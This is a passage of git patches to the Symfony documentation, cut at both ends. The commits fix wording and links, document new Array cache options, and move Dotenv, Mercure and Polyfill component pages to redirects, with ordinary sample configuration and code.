The datetime-local input type is the type used for rendering DateTimeType when html5 option is set to true.
---
 reference/forms/types/options/html5.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/html5.rst.inc b/reference/forms/types/options/html5.rst.inc
index 9353a879218..30cc3e42211 100644
--- a/reference/forms/types/options/html5.rst.inc
+++ b/reference/forms/types/options/html5.rst.inc
@@ -4,7 +4,7 @@
 **type**: ``boolean`` **default**: ``true``
 
 If this is set to ``true`` (the default), it'll use the HTML5 type (date, time
-or datetime) to render the field. When set to ``false``, it'll use the text type.
+or datetime-local) to render the field. When set to ``false``, it'll use the text type.
 
 This is useful when you want to use a custom JavaScript datepicker, which
 often requires a text type instead of an HTML5 type.

From 84897c0461463965192504cb5aadf5d5448b1d3f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Fri, 29 May 2020 16:08:45 +0200
Subject: [PATCH 0765/7107] fix method name

---
 service_container/alias_private.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index 864a1bdb715..97255503c12 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -284,7 +284,7 @@ The following example shows how to inject an anonymous service into another serv
             $services = $configurator->services();
 
             $services->set(Foo::class)
-                // In versions earlier to Symfony 5.1 the inline_service() function was called service()
+                // In versions earlier to Symfony 5.1 the inline_service() function was called inline()
                 ->args([inline_service(AnonymousBar::class)])
         };
 

From 3dc989934c60ef5753f4dd8e7dc17cc236a92985 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 May 2020 16:01:10 +0200
Subject: [PATCH 0766/7107] [Cache] Added max items and max lifetime options to
 Array cache

---
 .../cache/adapters/array_cache_adapter.rst    | 19 ++++++++++++++-----
 1 file changed, 14 insertions(+), 5 deletions(-)

diff --git a/components/cache/adapters/array_cache_adapter.rst b/components/cache/adapters/array_cache_adapter.rst
index ffdc1d60dd0..c7b06f40753 100644
--- a/components/cache/adapters/array_cache_adapter.rst
+++ b/components/cache/adapters/array_cache_adapter.rst
@@ -8,10 +8,7 @@ Array Cache Adapter
 Generally, this adapter is useful for testing purposes, as its contents are stored in memory
 and not persisted outside the running PHP process in any way. It can also be useful while
 warming up caches, due to the :method:`Symfony\\Component\\Cache\\Adapter\\ArrayAdapter::getValues`
-method.
-
-This adapter can be passed a default cache lifetime as its first parameter, and a boolean that
-toggles serialization as its second parameter::
+method::
 
     use Symfony\Component\Cache\Adapter\ArrayAdapter;
 
@@ -23,5 +20,17 @@ toggles serialization as its second parameter::
         $defaultLifetime = 0,
 
         // if ``true``, the values saved in the cache are serialized before storing them
-        $storeSerialized = true
+        $storeSerialized = true,
+
+        // the maximum lifetime (in seconds) of the entire cache (after this time, the
+        // entire cache is deleted to avoid stale data from consuming memory)
+        $maxLifetime = 0,
+
+        // the maximum number of items that can be stored in the cache. When the limit
+        // is reached, cache follows the LRU model (least recently used items are deleted)
+        $maxItems = 0
     );
+
+.. versionadded:: 5.1
+
+    The ``maxLifetime`` and ``maxItems`` options were introduced in Symfony 5.1.

From 9b484fc6c33cd20f20360350618123e630a60f8c Mon Sep 17 00:00:00 2001
From: Ryan Weaver <weaverryan+github@gmail.com>
Date: Fri, 29 May 2020 10:42:39 -0400
Subject: [PATCH 0767/7107] fixing link

---
 security/reset_password.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/reset_password.rst b/security/reset_password.rst
index 60b7597ff01..7899440ba86 100644
--- a/security/reset_password.rst
+++ b/security/reset_password.rst
@@ -25,4 +25,4 @@ file. For more information on the configuration, check out the
 `SymfonyCastsResetPasswordBundle`_  guide.
 
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
-.. _`Symfony Cast's Reset Password Bundle`: https://github.com/symfonycasts/reset-password-bundle
+.. _`SymfonyCastsResetPasswordBundle`: https://github.com/symfonycasts/reset-password-bundle

From c946abd50e0c5f7202689514d202418faf00a5a6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 May 2020 17:34:48 +0200
Subject: [PATCH 0768/7107] [Validation] Added a note about validation group
 names

---
 form/validation_groups.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/form/validation_groups.rst b/form/validation_groups.rst
index 09b420bceaf..2dfe2889de9 100644
--- a/form/validation_groups.rst
+++ b/form/validation_groups.rst
@@ -33,3 +33,10 @@ be used to validate the underlying object. To apply the ``registration``
 group *and* all constraints that are not in a group, use::
 
     'validation_groups' => ['Default', 'registration']
+
+.. note::
+
+    You can choose any name for your validation groups, but Symfony recommends
+    using "lower snake case" names (e.g. ``foo_bar``) in contrast with the
+    automatic validation groups created by Symfony, which use "upper camel case"
+    (e.g. ``Default``, ``SomeClassName``).

From 46395fd69b286a5b45bd1df7d500362b0d6aabcf Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Fri, 29 May 2020 11:17:07 +0200
Subject: [PATCH 0769/7107] Update vuejs.rst

add link to SymfonyCasts tutorial
---
 frontend/encore/vuejs.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index a92fa1b116b..83986fc20b4 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -1,6 +1,11 @@
 Enabling Vue.js (``vue-loader``)
 ================================
 
+.. admonition:: Screencast
+    :class: screencast
+
+    Do you prefer video tutorials? Check out the `Vue screencast series`_.
+
 Want to use `Vue.js`_? No problem! First enable it in ``webpack.config.js``:
 
 .. code-block:: diff
@@ -156,3 +161,4 @@ you can import them with ``require()`` function:
 .. _`JSX with Vue.js`: https://github.com/vuejs/jsx
 .. _`Scoped Styles`: https://vue-loader.vuejs.org/guide/scoped-css.html
 .. _`CSS Modules`: https://github.com/css-modules/css-modules
+.. _`Vue screencast series`: https://symfonycasts.com/screencast/vue

From e0a9f9f38c4ad33c1f4548c7a8a2802c499e31e0 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Fri, 29 May 2020 11:12:02 +0200
Subject: [PATCH 0770/7107] Add link to SymfonyCasts React.js tutorial

---
 frontend/encore/reactjs.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index 0039cece794..72cddf46540 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -1,6 +1,11 @@
 Enabling React.js
 =================
 
+.. admonition:: Screencast
+    :class: screencast
+
+    Do you prefer video tutorials? Check out the `React.js screencast series`_.
+
 Using React? First enable support for it in ``webpack.config.js``:
 
 .. code-block:: diff
@@ -19,3 +24,5 @@ install any missing dependencies. After running that command and restarting
 Encore, you're done!
 
 Your ``.js`` and ``.jsx`` files will now be transformed through ``babel-preset-react``.
+
+.. _`React.js screencast series`: https://symfonycasts.com/screencast/reactjs

From 4ef42f1da4d66e3fe375edebc66dd0950b0d7f4f Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Fri, 29 May 2020 11:09:22 +0200
Subject: [PATCH 0771/7107] Update reactjs.rst

update content
---
 frontend/encore/reactjs.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index 72cddf46540..ca3b017f13b 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -6,7 +6,14 @@ Enabling React.js
 
     Do you prefer video tutorials? Check out the `React.js screencast series`_.
 
-Using React? First enable support for it in ``webpack.config.js``:
+Using React? First add some dependencies with Yarn:
+
+.. code-block:: terminal
+
+    $ yarn add @babel/preset-react --dev
+    $ yarn add react react-dom prop-types
+
+Enable react in your ``webpack.config.js``:
 
 .. code-block:: diff
 

From 7d322135c7c25a114282ca99e94893920c19e9d8 Mon Sep 17 00:00:00 2001
From: Alexander Menshchikov <amenshchikov@gmail.com>
Date: Fri, 29 May 2020 23:30:41 +0300
Subject: [PATCH 0772/7107] minor fix

---
 mercure.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 2f71bbc6e5c..6660f6a38f1 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -413,7 +413,6 @@ And here is the controller::
             $hubUrl = $this->getParameter('mercure.default_hub');
             $this->addLink($request, new Link('mercure', $hubUrl));
 
-            $username = $this->getUser()->getUsername(); // Retrieve the username of the current user
             $token = (new Builder())
                 // set other appropriate JWT claims, such as an expiration date
                 ->withClaim('mercure', ['subscribe' => ["http://example.com/books/1"]]) // can also be a URI template, or *

From 17c7918ade0471e8d84878a746e0cc63b0b10059 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Sat, 30 May 2020 10:42:24 +0200
Subject: [PATCH 0773/7107] Update reactjs.rst

remove duplication
---
 frontend/encore/reactjs.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index 1ec4d05e102..ca3b017f13b 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -15,13 +15,6 @@ Using React? First add some dependencies with Yarn:
 
 Enable react in your ``webpack.config.js``:
 
-.. code-block:: terminal
-
-    $ yarn add @babel/preset-react --dev
-    $ yarn add react react-dom prop-types
-
-Enable react in your ``webpack.config.js``:
-
 .. code-block:: diff
 
     // webpack.config.js

From e4c4d7e7fedac579e39d55e3017ac746fe36452e Mon Sep 17 00:00:00 2001
From: Tobias Schultze <webmaster@tubo-world.de>
Date: Mon, 1 Jun 2020 02:02:58 +0200
Subject: [PATCH 0774/7107] Update list of custom route loaders

rest-bundle route logic has been deprecated/removed and KnpRadBundle is unmaintained.
---
 routing/custom_route_loader.rst | 22 +++++-----------------
 1 file changed, 5 insertions(+), 17 deletions(-)

diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 8f9be5dee5c..b893bf0114e 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -92,20 +92,10 @@ What is a Custom Route Loader
 -----------------------------
 
 A custom route loader enables you to generate routes based on some
-conventions or patterns. A great example for this use-case is the
-`FOSRestBundle`_ where routes are generated based on the names of the
-action methods in a controller.
-
-You still need to modify your routing configuration (e.g.
-``config/routes.yaml``) manually, even when using a custom route
-loader.
-
-.. note::
-
-    There are many bundles out there that use their own route loaders to
-    accomplish cases like those described above, for instance
-    `FOSRestBundle`_, `JMSI18nRoutingBundle`_, `KnpRadBundle`_ and
-    `SonataAdminBundle`_.
+conventions, patterns or integrations. An example for this use-case is the
+`OpenAPI-Symfony-Routing`_ library where routes are generated based on
+OpenAPI/Swagger annotations. Another example is the `SonataAdminBundle`_ that
+creates routes based on CRUD conventions.
 
 Loading Routes
 --------------
@@ -461,8 +451,6 @@ configuration file - you can call the
     combined, for example to keep using the default Symfony routing system when
     writing a custom router.
 
-.. _`FOSRestBundle`: https://github.com/FriendsOfSymfony/FOSRestBundle
-.. _`JMSI18nRoutingBundle`: https://github.com/schmittjoh/JMSI18nRoutingBundle
-.. _`KnpRadBundle`: https://github.com/KnpLabs/KnpRadBundle
+.. _`OpenAPI-Symfony-Routing`: https://github.com/Tobion/OpenAPI-Symfony-Routing
 .. _`SonataAdminBundle`: https://github.com/sonata-project/SonataAdminBundle
 .. _`ChainRouter`: https://symfony.com/doc/current/cmf/components/routing/chain.html

From 5efdd3faed60f37284cf8a3de435dea1977f5418 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Tue, 2 Jun 2020 14:47:50 +0200
Subject: [PATCH 0775/7107] Update releases.rst

---
 contributing/community/releases.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index 2e9eae6695d..fa8471717f2 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -7,12 +7,12 @@ release and maintain its different versions.
 Symfony releases follow the `semantic versioning`_ strategy and they are
 published through a *time-based model*:
 
-* A new **Symfony patch version** (e.g. 2.8.15, 4.1.7) comes out roughly every
+* A new **Symfony patch version** (e.g. 3.4.41, 4.4.9) comes out roughly every
   month. It only contains bug fixes, so you can safely upgrade your applications;
-* A new **Symfony minor version** (e.g. 2.8, 3.2, 4.1) comes out every *six months*:
+* A new **Symfony minor version** (e.g. 4.4, 5.0, 5.1) comes out every *six months*:
   one in *May* and one in *November*. It contains bug fixes and new features, but
   it doesn't include any breaking change, so you can safely upgrade your applications;
-* A new **Symfony major version** (e.g. 3.0, 4.0) comes out every *two years*.
+* A new **Symfony major version** (e.g. 4.0, 5.0) comes out every *two years*.
   It can contain breaking changes, so you may need to do some changes in your
   applications before upgrading.
 

From af77e76589b1a1faee174e99f945495910d94752 Mon Sep 17 00:00:00 2001
From: Thibaut Selingue <thibaut.selingue@gmail.com>
Date: Tue, 2 Jun 2020 16:42:00 +0200
Subject: [PATCH 0776/7107] Fix withExpiresTime replaced by withExpires

---
 components/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index aaa43dd78a5..e29c16ff384 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -451,7 +451,7 @@ a new object with the modified property::
 
     $cookie = Cookie::create('foo')
         ->withValue('bar')
-        ->withExpiresTime(strtotime('Fri, 20-May-2011 15:25:52 GMT'))
+        ->withExpires(strtotime('Fri, 20-May-2011 15:25:52 GMT'))
         ->withDomain('.example.com')
         ->withSecure(true);
 

From 4bc7793f7b5d21b693bb6f343aa378ab59a5f18a Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 25 May 2020 17:24:32 +0200
Subject: [PATCH 0777/7107] Removed DotEnv component docs

---
 _build/redirection_map |   1 +
 components/dotenv.rst  | 173 -----------------------------------------
 configuration.rst      |  56 +++++++++++++
 3 files changed, 57 insertions(+), 173 deletions(-)
 delete mode 100644 components/dotenv.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 8b09f4ff0cc..9f7d24321a7 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -481,3 +481,4 @@
 /components/routing https://github.com/symfony/routing
 /doctrine/pdo_session_storage /session/database
 /doctrine/mongodb_session_storage /session/database
+/components/dotenv https://github.com/symfony/dotenv
diff --git a/components/dotenv.rst b/components/dotenv.rst
deleted file mode 100644
index 0dc1a51e067..00000000000
--- a/components/dotenv.rst
+++ /dev/null
@@ -1,173 +0,0 @@
-.. index::
-   single: Dotenv
-   single: Components; Dotenv
-
-The Dotenv Component
-====================
-
-    The Dotenv Component parses ``.env`` files to make environment variables
-    stored in them accessible via ``$_ENV`` or ``$_SERVER``.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/dotenv
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-Sensitive information and environment-dependent settings should be defined as
-environment variables (as recommended for `twelve-factor applications`_). Using
-a ``.env`` file to store those environment variables eases development and CI
-management by keeping them in one "standard" place and agnostic of the
-technology stack you are using (nginx vs PHP built-in server for instance).
-
-.. note::
-
-    PHP has a lot of different implementations of this "pattern". This
-    implementation's goal is to replicate what ``source .env`` would do. It
-    tries to be as similar as possible with the standard shell's behavior (so
-    no value validation for instance).
-
-Load a ``.env`` file in your PHP application via ``Dotenv::load()``::
-
-    use Symfony\Component\Dotenv\Dotenv;
-
-    $dotenv = new Dotenv();
-    $dotenv->load(__DIR__.'/.env');
-
-    // You can also load several files
-    $dotenv->load(__DIR__.'/.env', __DIR__.'/.env.dev');
-
-Given the following ``.env`` file content:
-
-.. code-block:: terminal
-
-    # .env
-    DB_USER=root
-    DB_PASS=pass
-
-Access the value with ``$_ENV`` in your code::
-
-    $dbUser = $_ENV['DB_USER'];
-    // you can also use ``$_SERVER``
-
-The ``load()`` method never overwrites existing environment variables. Use the
-``overload()`` method if you need to overwrite them::
-
-    // ...
-    $dotenv->overload(__DIR__.'/.env');
-
-As you're working with the Dotenv component you'll notice that you might want
-to have different files depending on the environment you're working in. Typically
-this happens for local development or Continuous Integration where you might
-want to have different files for your ``test`` and ``dev`` environments.
-
-You can use ``Dotenv::loadEnv()`` to ease this process::
-
-    use Symfony\Component\Dotenv\Dotenv;
-
-    $dotenv = new Dotenv();
-    $dotenv->loadEnv(__DIR__.'/.env');
-
-The Dotenv component will then look for the correct ``.env`` file to load
-in the following order whereas the files loaded later override the variables
-defined in previously loaded files:
-
-#. If ``.env`` exists, it is loaded first. In case there's no ``.env`` file but a
-   ``.env.dist``, this one will be loaded instead.
-#. If one of the previously mentioned files contains the ``APP_ENV`` variable, the
-   variable is populated and used to load environment-specific files hereafter. If
-   ``APP_ENV`` is not defined in either of the previously mentioned files, ``dev`` is
-   assumed for ``APP_ENV`` and populated by default.
-#. If there's a ``.env.local`` representing general local environment variables it's loaded now.
-#. If there's a ``.env.$env.local`` file, this one is loaded. Otherwise, it falls
-   back to ``.env.$env``.
-
-This might look complicated at first glance but it gives you the opportunity to
-commit multiple environment-specific files that can then be adjusted to your
-local environment. Given you commit ``.env``, ``.env.test`` and ``.env.dev`` to
-represent different configuration settings for your environments, each of them
-can be adjusted by using ``.env.local``, ``.env.test.local`` and
-``.env.dev.local`` respectively.
-
-.. note::
-
-    ``.env.local`` is always ignored in ``test`` environment because tests should produce the
-    same results for everyone.
-
-You can adjust the variable defining the environment, default environment and test
-environments by passing them as additional arguments to ``Dotenv::loadEnv()``
-(see :method:`Symfony\\Component\\Dotenv\\Dotenv::loadEnv` for details).
-
-.. versionadded:: 4.2
-
-    The ``Dotenv::loadEnv()`` method was introduced in Symfony 4.2.
-
-You should never store a ``.env.local`` file in your code repository as it might
-contain sensitive information; create a ``.env`` file (or multiple
-environment-specific ones as shown above) with sensible defaults instead.
-
-.. note::
-
-    Symfony Dotenv can be used in any environment of your application:
-    development, testing, staging and even production. However, in production
-    it's recommended to configure real environment variables to avoid the
-    performance overhead of parsing the ``.env`` file for every request.
-
-As a ``.env`` file is a regular shell script, you can ``source`` it in your own
-shell scripts:
-
-.. code-block:: terminal
-
-    source .env
-
-Add comments by prefixing them with ``#``:
-
-.. code-block:: terminal
-
-    # Database credentials
-    DB_USER=root
-    DB_PASS=pass # This is the secret password
-
-Use environment variables in values by prefixing variables with ``$``:
-
-.. code-block:: terminal
-
-    DB_USER=root
-    DB_PASS=${DB_USER}pass # Include the user as a password prefix
-
-.. note::
-
-    The order is important when some env var depends on the value of other env
-    vars. In the above example, ``DB_PASS`` must be defined after ``DB_USER``.
-    Moreover, if you define multiple ``.env`` files and put ``DB_PASS`` first,
-    its value will depend on the ``DB_USER`` value defined in other files
-    instead of the value defined in this file.
-
-Define a default value in case the environment variable is not set:
-
-.. code-block:: terminal
-
-    DB_USER=
-    DB_PASS=${DB_USER:-root}pass # results in DB_PASS=rootpass
-
-.. versionadded:: 4.4
-
-    The support for default values has been introduced in Symfony 4.4.
-
-Embed commands via ``$()`` (not supported on Windows):
-
-.. code-block:: terminal
-
-    START_TIME=$(date)
-
-.. note::
-
-    Note that using ``$()`` might not work depending on your shell.
-
-.. _twelve-factor applications: https://12factor.net/
diff --git a/configuration.rst b/configuration.rst
index fb12f55db91..8a0f8b278ba 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -543,6 +543,62 @@ In addition to your own env vars, this ``.env`` file also contains the env vars
 defined by the third-party packages installed in your application (they are
 added automatically by :ref:`Symfony Flex <symfony-flex>` when installing packages).
 
+.env File Syntax
+................
+
+Add comments by prefixing them with ``#``:
+
+.. code-block:: bash
+
+    # database credentials
+    DB_USER=root
+    DB_PASS=pass # this is the secret password
+
+Use environment variables in values by prefixing variables with ``$``:
+
+.. code-block:: bash
+
+    DB_USER=root
+    DB_PASS=${DB_USER}pass # include the user as a password prefix
+
+.. caution::
+
+    The order is important when some env var depends on the value of other env
+    vars. In the above example, ``DB_PASS`` must be defined after ``DB_USER``.
+    Moreover, if you define multiple ``.env`` files and put ``DB_PASS`` first,
+    its value will depend on the ``DB_USER`` value defined in other files
+    instead of the value defined in this file.
+
+Define a default value in case the environment variable is not set:
+
+.. code-block:: bash
+
+    DB_USER=
+    DB_PASS=${DB_USER:-root}pass # results in DB_PASS=rootpass
+
+.. versionadded:: 4.4
+
+    The support for default values has been introduced in Symfony 4.4.
+
+Embed commands via ``$()`` (not supported on Windows):
+
+.. code-block:: bash
+
+    START_TIME=$(date)
+
+.. caution::
+
+    Using ``$()`` might not work depending on your shell.
+
+.. tip::
+
+    As a ``.env`` file is a regular shell script, you can ``source`` it in
+    your own shell scripts:
+
+    .. code-block:: terminal
+
+        $ source .env
+
 .. _configuration-multiple-env-files:
 
 Overriding Environment Values via .env.local

From 9943aae6b2b0d2c1903ca647635ac48e057e2726 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 25 May 2020 17:31:38 +0200
Subject: [PATCH 0778/7107] Removed Mercure component docs

---
 _build/redirection_map |  1 +
 components/mercure.rst | 46 ------------------------------------------
 2 files changed, 1 insertion(+), 46 deletions(-)
 delete mode 100644 components/mercure.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 9f7d24321a7..2f3389ec85c 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -482,3 +482,4 @@
 /doctrine/pdo_session_storage /session/database
 /doctrine/mongodb_session_storage /session/database
 /components/dotenv https://github.com/symfony/dotenv
+/components/mercure https://github.com/symfony/mercure
diff --git a/components/mercure.rst b/components/mercure.rst
deleted file mode 100644
index 9ad99419e8e..00000000000
--- a/components/mercure.rst
+++ /dev/null
@@ -1,46 +0,0 @@
-.. index::
-   single: Mercure
-   single: Components; Mercure
-
-The Mercure Component
-=====================
-
-    `Mercure`_ is an open protocol allowing to push data updates to web
-    browsers and other HTTP clients in a convenient, fast, reliable
-    and battery-friendly way.
-    It is especially useful to publish real-time updates of resources served
-    through web APIs, to reactive web and mobile applications.
-
-The Mercure Component implements the "publisher" part of the Mercure Protocol.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/mercure
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-The following example shows the component in action::
-
-    // change these values accordingly to your hub installation
-    define('HUB_URL', 'https://demo.mercure.rocks/.well-known/mercure');
-    define('JWT', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtZXJjdXJlIjp7InN1YnNjcmliZSI6WyJmb28iLCJiYXIiXSwicHVibGlzaCI6WyJmb28iXX19.LRLvirgONK13JgacQ_VbcjySbVhkSmHy3IznH3tA9PM');
-
-    use Symfony\Component\Mercure\Jwt\StaticJwtProvider;
-    use Symfony\Component\Mercure\Publisher;
-    use Symfony\Component\Mercure\Update;
-
-    $publisher = new Publisher(HUB_URL, new StaticJwtProvider(JWT));
-    // Serialize the update, and dispatch it to the hub, that will broadcast it to the clients
-    $id = $publisher(new Update('https://example.com/books/1.jsonld', 'Hi from Symfony!', ['target1', 'target2']));
-
-Read the full :doc:`Mercure integration documentation </mercure>` to learn
-about all the features of this component and its integration with the Symfony
-framework.
-
-.. _`Mercure`: https://mercure.rocks

From 6bb158718d2a5a99a8ecb4104d16a145358f73e6 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 25 May 2020 17:32:16 +0200
Subject: [PATCH 0779/7107] Removed Polyfill component docs

---
 _build/redirection_map                        | 16 ++++
 components/polyfill_apcu.rst                  | 50 ------------
 components/polyfill_ctype.rst                 | 43 -----------
 components/polyfill_iconv.rst                 | 57 --------------
 components/polyfill_intl_grapheme.rst         | 58 --------------
 components/polyfill_intl_icu.rst              | 54 -------------
 components/polyfill_intl_idn.rst              | 43 -----------
 components/polyfill_intl_messageformatter.rst | 48 ------------
 components/polyfill_intl_normalizer.rst       | 48 ------------
 components/polyfill_mbstring.rst              | 76 -------------------
 components/polyfill_php54.rst                 | 33 --------
 components/polyfill_php55.rst                 | 37 ---------
 components/polyfill_php56.rst                 | 37 ---------
 components/polyfill_php70.rst                 | 51 -------------
 components/polyfill_php71.rst                 | 30 --------
 components/polyfill_php72.rst                 | 39 ----------
 components/polyfill_php73.rst                 | 33 --------
 components/polyfill_uuid.rst                  | 57 --------------
 18 files changed, 16 insertions(+), 794 deletions(-)
 delete mode 100644 components/polyfill_apcu.rst
 delete mode 100644 components/polyfill_ctype.rst
 delete mode 100644 components/polyfill_iconv.rst
 delete mode 100644 components/polyfill_intl_grapheme.rst
 delete mode 100644 components/polyfill_intl_icu.rst
 delete mode 100644 components/polyfill_intl_idn.rst
 delete mode 100644 components/polyfill_intl_messageformatter.rst
 delete mode 100644 components/polyfill_intl_normalizer.rst
 delete mode 100644 components/polyfill_mbstring.rst
 delete mode 100644 components/polyfill_php54.rst
 delete mode 100644 components/polyfill_php55.rst
 delete mode 100644 components/polyfill_php56.rst
 delete mode 100644 components/polyfill_php70.rst
 delete mode 100644 components/polyfill_php71.rst
 delete mode 100644 components/polyfill_php72.rst
 delete mode 100644 components/polyfill_php73.rst
 delete mode 100644 components/polyfill_uuid.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 2f3389ec85c..b6fad56580f 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -483,3 +483,19 @@
 /doctrine/mongodb_session_storage /session/database
 /components/dotenv https://github.com/symfony/dotenv
 /components/mercure https://github.com/symfony/mercure
+/components/polyfill_apcu https://github.com/symfony/polyfill-apcu
+/components/polyfill_ctype https://github.com/symfony/polyfill-ctype
+/components/polyfill_iconv https://github.com/symfony/polyfill-iconv
+/components/polyfill_intl_grapheme https://github.com/symfony/polyfill_intl-grapheme
+/components/polyfill_intl_icu https://github.com/symfony/polyfill_intl-icu
+/components/polyfill_intl_idn https://github.com/symfony/polyfill_intl-idn
+/components/polyfill_intl_normalizer https://github.com/symfony/polyfill_intl-normalizer
+/components/polyfill_mbstring https://github.com/symfony/polyfill-mbstring
+/components/polyfill_php54 https://github.com/symfony/polyfill-php54
+/components/polyfill_php55 https://github.com/symfony/polyfill-php55
+/components/polyfill_php56 https://github.com/symfony/polyfill-php56
+/components/polyfill_php70 https://github.com/symfony/polyfill-php70
+/components/polyfill_php71 https://github.com/symfony/polyfill-php71
+/components/polyfill_php72 https://github.com/symfony/polyfill-php72
+/components/polyfill_php73 https://github.com/symfony/polyfill-php73
+/components/polyfill_uuid https://github.com/symfony/polyfill-uuid
diff --git a/components/polyfill_apcu.rst b/components/polyfill_apcu.rst
deleted file mode 100644
index 80f7aeef809..00000000000
--- a/components/polyfill_apcu.rst
+++ /dev/null
@@ -1,50 +0,0 @@
-.. index::
-    single: Polyfill
-    single: APC
-    single: Components; Polyfill
-
-The Symfony Polyfill / APCu Component
-=====================================
-
-    This component provides ``apcu_*`` functions and the ``APCUIterator`` class
-    to users of the legacy APC extension.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/polyfill-apcu
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-Once this component is installed in your application, you can use the following
-classes and functions, no matter if the `PHP APCu extension`_ is installed or
-not in your server. The only requirement is to have installed at least the
-`legacy APC extension`_.
-
-Provided Classes
-~~~~~~~~~~~~~~~~
-
-* :phpclass:`APCUIterator`
-
-Provided Functions
-~~~~~~~~~~~~~~~~~~
-
-* :phpfunction:`apcu_add`
-* :phpfunction:`apcu_delete`
-* :phpfunction:`apcu_exists`
-* :phpfunction:`apcu_fetch`
-* :phpfunction:`apcu_store`
-* :phpfunction:`apcu_cache_info`
-* :phpfunction:`apcu_cas`
-* :phpfunction:`apcu_clear_cache`
-* :phpfunction:`apcu_dec`
-* :phpfunction:`apcu_inc`
-* :phpfunction:`apcu_sma_info`
-
-.. _`PHP APCu extension`: https://secure.php.net/manual/en/book.apcu.php
-.. _`legacy APC extension`: https://secure.php.net/manual/en/book.apc.php
diff --git a/components/polyfill_ctype.rst b/components/polyfill_ctype.rst
deleted file mode 100644
index f685a8563a2..00000000000
--- a/components/polyfill_ctype.rst
+++ /dev/null
@@ -1,43 +0,0 @@
-.. index::
-    single: Polyfill
-    single: Ctype
-    single: Components; Polyfill
-
-The Symfony Polyfill / Ctype Component
-======================================
-
-    This component provides ``ctype_*`` functions to users who run PHP versions
-    without the ctype extension.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/polyfill-ctype
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-Once this component is installed in your application, you can use the following
-functions, no matter if the `PHP Ctype extension`_ is installed or not in your
-server.
-
-Provided Functions
-~~~~~~~~~~~~~~~~~~
-
-* :phpfunction:`ctype_alnum`
-* :phpfunction:`ctype_alpha`
-* :phpfunction:`ctype_cntrl`
-* :phpfunction:`ctype_digit`
-* :phpfunction:`ctype_graph`
-* :phpfunction:`ctype_lower`
-* :phpfunction:`ctype_print`
-* :phpfunction:`ctype_punct`
-* :phpfunction:`ctype_space`
-* :phpfunction:`ctype_upper`
-* :phpfunction:`ctype_xdigit`
-
-.. _`PHP Ctype extension`: https://secure.php.net/manual/en/book.ctype.php
diff --git a/components/polyfill_iconv.rst b/components/polyfill_iconv.rst
deleted file mode 100644
index e50b926e6bd..00000000000
--- a/components/polyfill_iconv.rst
+++ /dev/null
@@ -1,57 +0,0 @@
